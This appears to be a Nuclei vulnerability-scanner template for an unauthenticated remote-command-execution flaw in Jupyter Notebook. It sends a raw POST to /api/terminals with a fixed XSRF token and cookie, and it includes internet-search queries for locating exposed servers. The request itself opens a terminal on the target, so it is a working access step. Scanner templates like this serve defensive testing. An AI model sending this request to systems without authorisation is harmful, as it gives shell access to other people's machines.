id: jupyter-notebook-rce

info:
  name: Jupyter Notebook - Remote Command Execution
  author: HuTa0
  severity: high
  description: |
    Jupyter Notebook is an interactive Notebook, computer application is a web based visualization, Jupyter Notebook API/terminals path there are loopholes in the remote command execution.
  reference:
    - https://github.com/SCAMagic/SCAMagicScan/blob/de8130a2280ee08d719ac6612e590b8e2678fb97/pocs/poc-yaml-jupyter-notebook-rce.py
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"jupyter notebook"
    fofa-query: title="jupyter notebook"
    zoomeye-query: title:"jupyter notebook"
  tags: jupyter,notebook,rce,bypass

http:
  - raw:
      - |
        POST /api/terminals HTTP/1.1
        Host: {{Hostname}}
        X-XSRFToken: 2|7a4faae0|819f5adf7edaef5e74502c9d0c75a604|1653492335
        Cookie: _xsrf=2|7a4faae0|819f5adf7edaef5e74502c9d0c75a604|1653492335

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"name":'
          - '"last_activity":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100d06d582f3dce65ba20911abf7ffe40eca96e18be358259a394e2fa87b15b52a6022100e6287f726c5f22a21d16220fa41e95782105ffb70db2259c35a01809a6b3fb42:922c64590222798bb761d5b6d8e72950